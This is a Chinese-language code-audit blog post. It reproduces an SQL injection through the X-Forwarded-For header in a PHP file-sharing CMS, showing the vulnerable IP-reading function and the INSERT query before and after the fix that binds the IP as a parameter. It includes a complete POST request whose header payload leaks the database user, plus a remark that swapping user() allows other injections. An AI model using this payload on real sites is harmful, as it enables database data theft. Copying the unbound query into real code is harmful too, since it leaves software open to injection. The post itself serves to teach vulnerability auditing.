代码审计之头部注入X-Forwarded-For

头部的信息也有可能存在注入只不过比较容易被大家忽略。今天freebuff看到了一篇文章觉得不错。就自己下来重现了下(https://www.freebuf.com/column/179363.html)。cms的名字叫树洞https://yun.aoaoao.me.下载下来就会发现漏洞已经修复了。不过这不重要我翻了下github别人fork的找到了原来的修改。

  漏洞在includes/function.php 里的 get_real_ip() 这个函数里面,这个里面没有做任何防注入的过滤

function get_real_ip(){
$ip=false;
if(!empty($_SERVER["HTTP_CLIENT_IP"])){
$ip = $_SERVER["HTTP_CLIENT_IP"];
}
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
for ($i = 0; $i < count($ips); $i++) {
if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i])) {
$ip = $ips[$i];
break;
}
}
}

在全局搜寻下用到的文件发现save.php 23行调用了这个函数。原来漏洞在下方30行上下

修改前:

$stmt = $con->prepare("INSERT INTO  `$sqlname`.`sd_file` (`ming` ,`key1` ,`uploadip` ,`uploadtime` ,`cishuo` ,`upuser` ,`policyid`)VALUES (?, '$rand', '$ip', '$dd', '0' , '$uploadUser', '$policyId');");
$stmt->bind_param('s', $ming);

修改后:

$stmt = $con->prepare("INSERT INTO  `$sqlname`.`sd_file` (`ming` ,`key1` ,`uploadip` ,`uploadtime` ,`cishuo` ,`upuser` ,`policyid`)VALUES (?, '$rand', ?, '$dd', '0' , '$uploadUser', '$policyId');");
$stmt->bind_param('ss', $ming,$ip);

对比发现$ip被绑定了。用原来的进行实验直接对save.php进行post

POST /includes/save.php HTTP/1.1
Host: shudong.com
User-Agent: Mozilla/5.0  Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=xxxxxxx
Connection: close
X-Forwarded-For: 1.1.1.1',user(),'0',1,1); #
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

ming=aa

接着去前面http://xxxx/views/userFiles.php(自己注册登陆先哦)查看就会发现日期变成了root或者其他数据库用户名。

只要在修改user()就可以达到不同的注入目的。

 

 

你可能感兴趣的:(web代码审计)